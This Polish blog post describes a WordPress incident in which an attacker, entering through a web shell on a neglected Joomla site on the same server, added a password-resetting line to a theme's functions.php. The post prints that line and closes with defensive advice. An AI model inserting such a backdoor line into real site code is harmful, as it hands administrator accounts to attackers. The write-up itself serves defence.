Przydatna, ale niebezpieczna funkcja – WordPress SEC Alert

Jakiś czas temu od jednej z agencji dostałem ciekawą wiadomość, która w dużym skrócie tak opisywała problem:

Codziennie głównie konto administratora „gubi” hasło – trzeba codziennie korzystać z funkcji przypominania hasła – wystarczy, że się wyloguję na koniec dnia i następnego dnia, aby dostać się do kokpitu muszę ponownie odzyskiwać hasło.

Tę konkretną stronę widziałem na oczy pierwszy raz,  ale mając dostęp do konta root serwera zauważyłem, że było tam sporo najróżniejszych stron (w tym wiele Drupali, Joomli, jakieś fora internetowe).

Po reinstalacji wtyczek i motywu problem ustąpił… na kilka dni. 

Po kilku dniach problem powrócił – coś co wyglądało na konflikt lub wynik błędu aktualizacji stało się już niebezpieczną regułą, a więc postanowiłem ponownie dokonać reinstalacji i porównać wielkości wszystkich plików.

W functions.php znalazłem małą niepozorną linijkę kodu

wp_set_password('hack4live',1);

Zbyt wielkich rozmyślań co ona robi nie musiałem dokonywać – ta linijka resetuje hasło użytkownika o ID=1, zmieniając je na „hack4live„.

Ale jak się tam znalazła?

Pamiętasz jak chwilę temu wspomniałem, że na serwerze jest wiele różnych domen i wiele różnych skryptów?

Otóż jedna ze stron to była Joomla – typowa strona na którą nikt nie zagląda, która leży sobie od wielu lat nie aktualizowana.

W pliki owej strony został dodany tzw. shell – skrypt umożliwiający dostęp do plików – ich edycji, dodawania, usuwania etc; Atakujący dobrał się do WordPressów, ponieważ nie miał dostępu do bazy danych (dostęp tylko po zalogowaniu na panel serwera) – stworzył sobie inną lukę z pomocą ukrytego pliku bez rozszerzenia.

W zasadzie, aby do tego nie doszło wystarczyło by (nie licząc aktualizacji starych, innych stron), aby serwer posiadał separację domen i został zabezpieczony na takie przypadki.

Jak to działa w praktyce ?

Abyś nie musiał próbować samodzielnie stworzyłem sobie testowego WordPressa w serwisie poopy.life (obecnie już nie działa, ale jest TasteWP).

Warto dodać, że każda piaskownica tam stworzona domyślnie nadaje Tobie użytkownika „demo”, a podane hasło nie pasuje dla konta admin:

W functions motywu dodałem dokładnie taką samą linijkę kodu jak nas przyjemniaczek z trzeciego świata i tym sposobem mogłem zalogować się do kokpitu na konto administratora.

Funkcja wp_set_password to jeden ze sposobów odzyskiwania dostępu do kokpitu, ale jak widać ma też ciemniejszą stronę. Całe szczęście, że atakujący nie wykorzystał tej furtki, a jedynie ją sobie uchylił – jednak co by było gdyby nagle na Twojej stronie zaczęłyby się wyświetlać niechciane elementy lub strona zawierałaby treści zagrożone karą jak np. Phishing.

Wnioski, jak się bronić?

1. Zmień nazwę użytkownika admin w WordPress na własną
2. Zmień ID użytkowników na inne (najlepiej 4 i więcej cyfrowe) kombinacje
3. Usuwaj stare strony lub dbaj o nie
4. Niezależnie od wszystkiego zadbaj o separacje serwisów WWW, jeżeli masz ich więcej

Małe P.S.

Dlaczego nie załatałem tej dziury od razu?

To, że stronę trzeba zabezpieczyć na takie przypadki mówię każdemu, ale z klientami agencyjnymi jest to troszeczkę inna historia, która jakby nie było zawiera pewien morał.

1. Wyglądało to jak wspominałem na typowy błąd kodu,
2. Brak zgody klienta głównego na budżetowe wyjście poza „obsługę serwisową”,
3. Brak zgody klienta głównego = „zrób tak, aby działało” = naprawienie objawów (cokolwiek by to nie było),

Jakakolwiek naprawa „na szybko” bez analizy i znalezienia powodu jej wystąpienia nie ma najmnijeszego sensu i jest wyrzucaniem pieniędzy (chodź mniejszych) w błoto.